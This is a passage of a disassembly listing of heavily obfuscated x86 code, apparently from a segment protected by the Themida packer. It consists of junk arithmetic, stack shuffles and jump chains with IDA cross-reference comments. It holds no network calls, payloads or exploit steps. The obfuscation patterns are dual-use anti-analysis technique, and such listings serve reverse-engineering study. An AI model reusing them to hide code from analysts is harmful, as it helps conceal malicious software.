; ---------------------------------------------------------------------------
loc_5A490D: ; CODE XREF: Themida_:00592279j
push eax
mov ah, 8Eh
xor dl, ah
pop eax
mov ch, dl
jmp loc_59B98F
; ---------------------------------------------------------------------------
loc_5A491A: ; CODE XREF: Themida_:005948C6j
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A24A0
; ---------------------------------------------------------------------------
mov ax, [esp]
push 78E5h
mov [esp], ebx
push esp
pop ebx
push edi
mov edi, 4
add ebx, edi
pop edi
push esi
mov esi, esp
push ecx
jmp loc_59EBC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A494F: ; CODE XREF: sub_59390B+67Aj
add ebp, 4
sub ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
jmp loc_5A37F8
; ---------------------------------------------------------------------------
loc_5A4964: ; CODE XREF: sub_59390B+4F55j
add esp, 4
sub ebx, 29A83BECh
add ebx, edx
push ebp
mov ebp, 3BF421B2h
sub ebp, 124BE5C6h
add ebx, ebp
pop ebp
push ecx
mov ecx, 7BD56988h
jmp loc_593447
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4989: ; CODE XREF: Themida_:00598E0Fj
add edx, edi
pop edi
mov ecx, [esp]
jmp loc_5A5AF7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_5A4994: ; CODE XREF: sub_5A0060-A2ACj
xor [esp-8+arg_4], edx
xor edx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov word ptr [esp-8+arg_4], ax
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
loc_5A49A6: ; CODE XREF: Themida_:005A2E7Dj
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov ax, [esp]
push 40ABh
mov [esp], esi
push esp
pop esi
jmp loc_5A512F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A49C3: ; CODE XREF: sub_59E918+17E9j
mov cx, [esp+2+var_2]
push eax
mov eax, esp
jmp loc_5936CE
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A49CF: ; CODE XREF: sub_594D13+67Fj
or ebp, edx
pop edx
jmp loc_5A3A75
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_5A49D7: ; CODE XREF: Themida_:005A28E9j
sub ecx, ebp
mov ebp, [esp]
jmp loc_591381
; ---------------------------------------------------------------------------
loc_5A49E1: ; CODE XREF: Themida_:00596E1Ej
pop edx
push eax
push ecx
push 73861C88h
pop ecx
jmp loc_59F3F4
; ---------------------------------------------------------------------------
loc_5A49EF: ; CODE XREF: Themida_:00591459j
xchg edi, ecx
not edi
xchg edi, ecx
push eax
jmp loc_59C250
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 4B21h
mov [esp], esi
push 5A5Eh
jmp loc_597A05
; ---------------------------------------------------------------------------
loc_5A4A10: ; CODE XREF: Themida_:005A005Bj
mov ebx, [esp]
add esp, 4
jmp loc_5976AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4A1B: ; CODE XREF: sub_59390B+2204j
mov [esp-8+arg_0], ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+0]
jmp loc_59DBBC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4A35: ; CODE XREF: Themida_:00599F6Bj
add esi, 4
jmp loc_59E2ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_5A4A3D: ; CODE XREF: sub_5A0BFE-EF07j
add ebx, 0EEF64E7h
jmp loc_5A4233
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4A48: ; CODE XREF: sub_59390B+C13j
pop esp
jmp loc_5A41B8
; ---------------------------------------------------------------------------
loc_5A4A4E: ; CODE XREF: sub_59390B+1C0j
mov eax, [esp+0]
add esp, 4
push ecx
jmp $+5
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp+0], ebx
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
pop ebx
push eax
mov eax, 73607749h
sub eax, 0FFFFFFFFh
jmp sub_5999A4
; ---------------------------------------------------------------------------
loc_5A4A8D: ; CODE XREF: sub_59390B+2FFBj
mov esp, [esp+0]
add [esp-4+arg_0], ebp
mov ebp, [esp+0]
jmp loc_598415
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A4AA4: ; CODE XREF: Themida_:005A0EB3j
pop esp
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_59A478
; ---------------------------------------------------------------------------
loc_5A4AB3: ; CODE XREF: Themida_:00599C97j
xor edi, 6EF16174h
xor edi, 3F0F1F23h
jmp loc_5A4594
; ---------------------------------------------------------------------------
loc_5A4AC4: ; CODE XREF: Themida_:0059B608j
sub eax, edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
push ebx
jmp loc_59620C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4AE4: ; CODE XREF: sub_59390B+DCA2j
mov ecx, edi
mov edi, [esp+0]
add esp, 4
push ebp
mov ebp, 2B395BC1h
jmp loc_597ABB
; ---------------------------------------------------------------------------
loc_5A4AFA: ; CODE XREF: sub_59390B-85Ej
add esp, 4
pop dword ptr [esp+0]
pop esp
sub edx, 1CFB2D3Bh
sub edx, 11F937DDh
push eax
mov eax, 25C871A8h
add edx, eax
pop eax
add edx, eax
sub esp, 4
mov [esp-0Ah+arg_0+2], eax
mov eax, 6445337h
sub eax, 4A5F3E7Eh
and eax, 5CCF7D19h
push eax
not dword ptr [esp+0]
pop eax
and eax, 224E2A00h
or eax, 28E634A5h
xor eax, 0F264F0Dh
sub edx, eax
pop eax
push esi
push 0D340CF0h
pop esi
jmp loc_5A23B0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4B53: ; CODE XREF: Themida_:005A1CF2j
push eax
jmp loc_5932A1
; ---------------------------------------------------------------------------
loc_5A4B59: ; CODE XREF: Themida_:00598848j
push esi
mov esi, 1CCF42AAh
jmp loc_599E1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5A4B64: ; CODE XREF: sub_5A4CDD-64EBj
add edx, 4FF25952h
add edx, edi
jmp loc_596E39
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4B71: ; CODE XREF: sub_59390B+A714j
push dword ptr [esp+0]
push dword ptr [esp+0]
jmp loc_5933C1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4B7C: ; CODE XREF: Themida_:00596F08j
pop esp
sub eax, edi
mov edi, [esp]
add esp, 4
push eax
add dword ptr [esp], 4E9B6EF0h
mov ebx, [esp]
jmp loc_59431A
; ---------------------------------------------------------------------------
loc_5A4B98: ; CODE XREF: Themida_:00592150j
mov esi, 7C7620C5h
jmp loc_5998EC
; ---------------------------------------------------------------------------
loc_5A4BA2: ; CODE XREF: Themida_:00595134j
pop edx
add eax, edi
jmp loc_59602C
; ---------------------------------------------------------------------------
loc_5A4BAA: ; CODE XREF: Themida_:005963D5j
sub edx, ecx
jmp loc_5A0CB7
; ---------------------------------------------------------------------------
loc_5A4BB1: ; CODE XREF: Themida_:005A2E08j
add dh, ah
pop eax
mov ax, [esp]
add esp, 2
push cx
mov cl, 0FFh
add dh, 1Dh
add dh, 8Eh
sub dh, cl
sub dh, 8Eh
sub esp, 2
jmp loc_5A3127
; ---------------------------------------------------------------------------
loc_5A4BD2: ; CODE XREF: Themida_:00598668j
mov ebp, 7B106ECCh
jmp loc_59B7F6
; ---------------------------------------------------------------------------
loc_5A4BDC: ; CODE XREF: Themida_:005A357Aj
add ah, bh
pop bx
shl ah, 2
jmp loc_5A1A1A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4BE8: ; CODE XREF: sub_59390B+1026Bj
pop edx
add edi, 45A932B2h
push eax
mov eax, 47C45359h
sub edi, eax
jmp loc_5A3A38
; ---------------------------------------------------------------------------
loc_5A4BFC: ; CODE XREF: sub_59390B+D8B9j
xor edi, ebp
jmp loc_5926CA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4C03: ; CODE XREF: Themida_:0059579Ej
push small 6DDAh
mov [esp], cx
jmp loc_597CB8
; ---------------------------------------------------------------------------
loc_5A4C10: ; CODE XREF: Themida_:005A14EAj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_598BC2
; ---------------------------------------------------------------------------
loc_5A4C1B: ; CODE XREF: Themida_:00597559j
add esi, 620105EAh
push ecx
mov ecx, 75F86E86h
sub esi, ecx
pop ecx
add esi, 11974E10h
push ebp
jmp loc_59C20E
; ---------------------------------------------------------------------------
loc_5A4C36: ; CODE XREF: Themida_:0059B465j
add eax, 0C57CC9Fh
add ebx, eax
pop eax
push eax
push 79180AB7h
pop eax
add eax, 3DA4149Fh
inc eax
jmp loc_59A634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4C50: ; CODE XREF: sub_59390B+AA21j
xor edx, 0AEC2964Ah
add edi, 106B04E5h
add edi, edx
jmp loc_5A36EB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4C63: ; CODE XREF: Themida_:0059E7D2j
push eax
push ebp
mov ebp, 6B961842h
push ecx
mov ecx, 615653FBh
or ebp, ecx
pop ecx
push esi
mov esi, 475265E5h
and esi, 24E42540h
shl esi, 6
jmp loc_590AB1
; ---------------------------------------------------------------------------
loc_5A4C87: ; CODE XREF: Themida_:0059A998j
sub al, 56h
jmp loc_5A10C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4C8E: ; CODE XREF: sub_59390B+EC42j
add esp, 4
xor edx, edi
jmp loc_597FED
; ---------------------------------------------------------------------------
loc_5A4C9B: ; CODE XREF: sub_59390B+7469j
add edi, ebx
mov ebx, [esp+10h+var_10]
add esp, 4
add edi, 7EB967D9h
sub edi, esi
jmp loc_595C51
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4CB3: ; CODE XREF: Themida_:005A0CBDj
pop ecx
push eax
push ebx
jmp loc_5A3F2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4CBB: ; CODE XREF: sub_59390B+11BC9j
mov ecx, 2
jmp loc_59DF9E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5A4CC5: ; CODE XREF: sub_5A4CDD-961Bj
xchg edx, [esp+8+var_8]
pop esp
jmp loc_595A72
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4CCE: ; CODE XREF: sub_59390B+3444j
neg ebp
jmp loc_5910AF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4CD5: ; CODE XREF: Themida_:00593605j
mov esp, [esp]
jmp loc_5A44C7
; =============== S U B R O U T I N E =======================================
sub_5A4CDD proc near ; CODE XREF: sub_594DA8+63ECj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005916B9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591F3B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592087 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592AF7 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00592F45 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595476 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595A72 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00595E89 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00595EE1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005966D9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596E39 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059728C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598FCD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059921A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005992DB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059ABA5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B6BB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C996 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CDA0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059DCEF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059DD67 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E3E7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059E7EA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1EF7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A2E55 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2EEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4603 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4B64 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4CC5 SIZE 00000009 BYTES
sub esp, 4
mov [esp+8+var_8], edi
mov edi, 1
add ebp, edi
mov edi, [esp+8+var_8]
add esp, 4
jmp loc_5A2EEA
sub_5A4CDD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A4CF8 proc near ; DATA XREF: Themida_:005909F0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00593863 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595AE2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00596855 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DDF7 SIZE 00000008 BYTES
mov cx, [esp+0]
push ecx
push 5FBFh
jmp loc_59DDF7
sub_5A4CF8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A4D07: ; CODE XREF: sub_59A75E-7FBBj
add ax, 273Eh
mov bx, word ptr [esp+2+var_4+2]
push ecx
jmp loc_595F27
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_5A4D15: ; CODE XREF: Themida_:00595684j
pop eax
add eax, 4
push ecx
push ebx
mov ebx, 40783101h
add ebx, 1DCC7CC0h
dec ebx
add ebx, 0DC11541Ah
mov ecx, ebx
jmp loc_59A4E4
; ---------------------------------------------------------------------------
loc_5A4D36: ; CODE XREF: Themida_:0059256Bj
push cx
mov ch, 23h
sub al, ch
pop cx
add al, 0A8h
xor al, 10h
xor dl, al
mov eax, [esp]
push ebx
mov ebx, esp
jmp loc_59B476
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4D4F: ; CODE XREF: sub_59390B+C262j
mov dl, 1Eh
sub al, dl
pop dx
push ebx
push ecx
mov ch, 88h
jmp loc_5927BF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4D5E: ; CODE XREF: Themida_:0059D5C1j
push 678Ch
jmp loc_5A04F1
; ---------------------------------------------------------------------------
loc_5A4D68: ; CODE XREF: Themida_:00591C0Aj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5A34EE
; ---------------------------------------------------------------------------
loc_5A4D76: ; CODE XREF: Themida_:005A3456j
mov [esp], ebp
push 4
mov ebp, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
add ebx, ebp
mov ebp, [esp]
push 35C4h
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push edx
mov edx, esp
jmp loc_595828
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_5A4DC3: ; CODE XREF: sub_5A3536-19E1j
neg ebx
shl ebx, 3
push 1143h
mov [esp+10h+var_10], edx
jmp loc_5A07DC
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
loc_5A4DD5: ; CODE XREF: Themida_:00599D65j
mov [esp], ebp
push 4679h
jmp loc_599C9C
; ---------------------------------------------------------------------------
loc_5A4DE2: ; CODE XREF: Themida_:0059E880j
mov ebx, 393200FCh
xor ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_5A505E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4DF7: ; CODE XREF: sub_59390B+11DC1j
mov edx, [esp+4+var_4]
add esp, 4
pop ebx
pop ebp
loc_5A4E02: ; CODE XREF: Themida_:005A5B6Cj
sub esp, 4
mov [esp+0], esi
push ecx
mov ecx, 4E1B1B54h
neg ecx
or ecx, 6E8E2FF6h
shl ecx, 2
sub ecx, 8EA45CD6h
mov esi, ecx
pop ecx
jmp loc_59B596
; ---------------------------------------------------------------------------
loc_5A4E27: ; CODE XREF: sub_59390B-149Fj
pop ecx
add esp, 4
add esp, 4
sub ebx, 4635D1Ah
mov eax, [ebx]
mov ebx, [esp-22h+arg_18+2]
push esi
jmp loc_59DBB5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_5A4E42: ; CODE XREF: sub_5A2801+CBFj
pop esp
push esp
pop [esp+8+var_8]
push ecx
push eax
mov eax, 4
mov ecx, eax
pop eax
add [esp+8+var_4], ecx
jmp loc_599714
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A4E5A: ; CODE XREF: sub_599AE1-497Aj
add esp, 4
sub esi, edi
push [esp+4+var_4]
pop edi
add esp, 4
jmp loc_59DDCB
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5A4E6E: ; CODE XREF: Themida_:005A10CBj
mov ecx, [esp]
add esp, 4
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push ecx
mov ecx, esp
push ebx
mov ebx, 65725FA8h
xor ebx, 65725FACh
add ecx, ebx
pop ebx
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, esp
add edi, 4
push edx
jmp loc_5A3399
; ---------------------------------------------------------------------------
loc_5A4EB1: ; CODE XREF: Themida_:005A536Ej
add eax, 1
jmp loc_599453
; ---------------------------------------------------------------------------
loc_5A4EBB: ; CODE XREF: Themida_:0059456Fj
mov ebx, 63F05925h
push edi
push esi
push 72DB30FBh
pop esi
jmp loc_5A4F42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_5A4ECD: ; CODE XREF: sub_59886E-1060j
pop [esp+4+var_4]
mov esp, [esp+0]
jmp loc_59C7FA
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
loc_5A4ED8: ; CODE XREF: Themida_:00594CD4j
add ebx, 0C92210Bh
mov esi, [esp]
add esp, 4
add ebx, 2
jmp loc_5A37D7
; ---------------------------------------------------------------------------
loc_5A4EF2: ; CODE XREF: Themida_:005A43B0j
add [esp], al
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A4EFB: ; CODE XREF: Themida_:0059CD62j
add eax, 27887610h
pop ebp
sub eax, 17D22F14h
add eax, ebx
add eax, 17D22F14h
push edi
push 4338h
mov [esp], esi
jmp loc_5970D4
; ---------------------------------------------------------------------------
loc_5A4F1B: ; CODE XREF: Themida_:0059D1F1j
add al, 1Bh
sub dh, al
pop eax
sub bl, dh
jmp loc_59D62A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A4F27: ; CODE XREF: sub_59E918+1Fj
add al, cl
jmp loc_594C7D
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_5A4F2E: ; CODE XREF: Themida_:00591FF1j
mov [esp], ecx
jmp loc_59C419
; ---------------------------------------------------------------------------
loc_5A4F36: ; CODE XREF: Themida_:0059E7D9j
pop edx
sub ebx, ecx
pop ecx
xchg ebx, [esp]
jmp loc_59D96E
; ---------------------------------------------------------------------------
loc_5A4F42: ; CODE XREF: Themida_:005A4EC8j
not esi
xor esi, 6A7C76D9h
jmp loc_59D05A
; =============== S U B R O U T I N E =======================================
sub_5A4F4F proc near ; CODE XREF: sub_59390B+23D2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590BE6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059195D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059254C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00595934 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005986CC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059B306 SIZE 0000000B BYTES
push ebx
mov ebx, esp
add ebx, 4
jmp loc_59B306
sub_5A4F4F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4F5D: ; CODE XREF: sub_59390B+61F3j
mov edi, [esp+0]
add esp, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
movsx ecx, ax
push 7A81h
mov [esp+0], ecx
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A4F7D: ; CODE XREF: sub_59FCCB-5605j
sub bh, ah
pop eax
and bh, 1Dh
jmp loc_59EB56
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_5A4F88: ; CODE XREF: Themida_:00597BCFj
sub esp, 2
mov [esp], ax
jmp loc_5A3198
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4F94: ; CODE XREF: sub_59390B+6352j
pop eax
push edx
mov edx, 4
jmp loc_59ABDA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4FA0: ; CODE XREF: Themida_:0059138Aj
push edi
mov edi, offset loc_5D42EA
push eax
mov eax, 0FFA2BD18h
add edi, eax
pop eax
add edx, 6BD97E71h
add edx, edi
sub edx, 6BD97E71h
mov edi, [esp]
sub esp, 4
mov [esp], edx
jmp loc_5A2741
; ---------------------------------------------------------------------------
lodsd
jmp loc_599308
; ---------------------------------------------------------------------------
loc_5A4FD1: ; CODE XREF: Themida_:005A01C2j
add esi, 4
xchg esi, [esp]
jmp loc_5A1D53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4FDF: ; CODE XREF: sub_59390B+F05Bj
push eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp-8+arg_0]
jmp loc_59736D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4FF4: ; CODE XREF: Themida_:00591E0Bj
xor edi, edx
xor edx, edi
shl edx, 6
dec edx
xor edx, 81BB1079h
sub edi, edx
pop edx
jmp loc_595353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A500A: ; CODE XREF: sub_59390B+F39Bj
xor [esp-18h+arg_10], edi
xor edi, [esp-18h+arg_10]
pop esp
mov word ptr [esp-1Ch+arg_14], cx
push edx
mov dh, 0F6h
mov cl, dh
jmp loc_593AA9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A501F: ; CODE XREF: sub_59CAFB-98BAj
pop esp
push edx
push 70473E98h
pop edx
mov eax, 70473E99h
xor eax, edx
push dword ptr [esp+0]
jmp loc_598F28
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5036: ; CODE XREF: sub_59390B+CF9Dj
mov edx, 4
sub esi, 40BA7780h
jmp loc_5A05BC
; ---------------------------------------------------------------------------
loc_5A5046: ; CODE XREF: sub_59390B-2738j
add ebx, edi
mov edi, [esp+4+var_4]
add esp, 4
sub edi, 573B5A83h
add edi, ebx
jmp loc_5A3A80
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A505E: ; CODE XREF: Themida_:005A4DF2j
push esi
mov esi, 16632207h
mov ebp, esi
jmp loc_595072
; ---------------------------------------------------------------------------
loc_5A506B: ; CODE XREF: Themida_:00596CE6j
mov eax, 4
add [esp+4], eax
mov eax, [esp]
add esp, 4
pop eax
add eax, 4
add eax, 4
jmp loc_59EA02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_5A508A: ; CODE XREF: sub_5A23FB-7D9Dj
pop esi
pop ebx
and eax, edi
mov edi, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_597B7A
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
loc_5A50A8: ; DATA XREF: Themida_:0059098Co
lodsd
push 76C9h
jmp loc_5A452E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A50B3: ; CODE XREF: sub_59390B+B5E2j
add eax, 4
xchg eax, [esp+10h+var_10]
pop esp
push edx
mov edx, 2
add esi, edx
mov edx, [esp+10h+var_10]
jmp loc_5920A9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A50CC: ; DATA XREF: Themida_:005909D4o
lodsb
push edx
mov dh, 67h
push small 67BEh
mov [esp], cx
push eax
jmp loc_5A2EA6
; ---------------------------------------------------------------------------
loc_5A50DE: ; CODE XREF: Themida_:0059FE9Aj
mov ebx, 0B922E2Eh
shr ebx, 7
add ebx, 7CC6160Fh
jmp loc_59F6A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A50F1: ; CODE XREF: sub_59390B+6711j
mov [esp+8+var_8], edi
mov edi, 66543FD6h
jmp loc_59F0B4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A58F3
loc_5A50FE: ; CODE XREF: sub_5A58F3-EC80j
sub esi, 4
xchg esi, [esp+4+var_4]
jmp loc_59CC7C
; END OF FUNCTION CHUNK FOR sub_5A58F3
; ---------------------------------------------------------------------------
loc_5A5109: ; CODE XREF: Themida_:0059FDE1j
mov ecx, 2644231Dh
shl ecx, 2
not ecx
dec ecx
xor ecx, 0F95CA6C9h
xor edi, ecx
pop ecx
add ecx, 34713BEFh
jmp loc_592A40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5128: ; CODE XREF: sub_59390B+369j
mov ch, al
jmp loc_5A4108
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A512F: ; CODE XREF: Themida_:005A49BEj
add esi, 4
add esi, 2
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
push 3C15h
mov [esp], esi
push esp
pop esi
jmp loc_59A0A5
; ---------------------------------------------------------------------------
loc_5A5157: ; CODE XREF: Themida_:00593424j
or al, 0EEh
sub al, 0ECh
push edx
mov dl, 0ACh
jmp loc_599EA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_5A5163: ; CODE XREF: sub_5A2FE9-6A57j
pop edx
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
add esi, 4
push ebx
push esi
mov esi, 1536025Ah
jmp loc_596055
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
loc_5A5180: ; CODE XREF: Themida_:0059F32Fj
xor ecx, ebp
jmp loc_5A3175
; ---------------------------------------------------------------------------
loc_5A5187: ; CODE XREF: Themida_:005A411Dj
push ebp
mov ebp, 58CC198Ch
add dword ptr [esp+4], 48403C38h
sub [esp+4], ebp
sub esp, 4
mov [esp], ebx
mov ebx, 48403C38h
sub [esp+8], ebx
pop ebx
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_59227E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_5A51BD: ; CODE XREF: sub_59F8C2-385Aj
pop eax
jmp loc_598F44
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
loc_5A51C3: ; CODE XREF: Themida_:00598E45j
sub eax, 57D5E39h
add eax, 2F423C3Ah
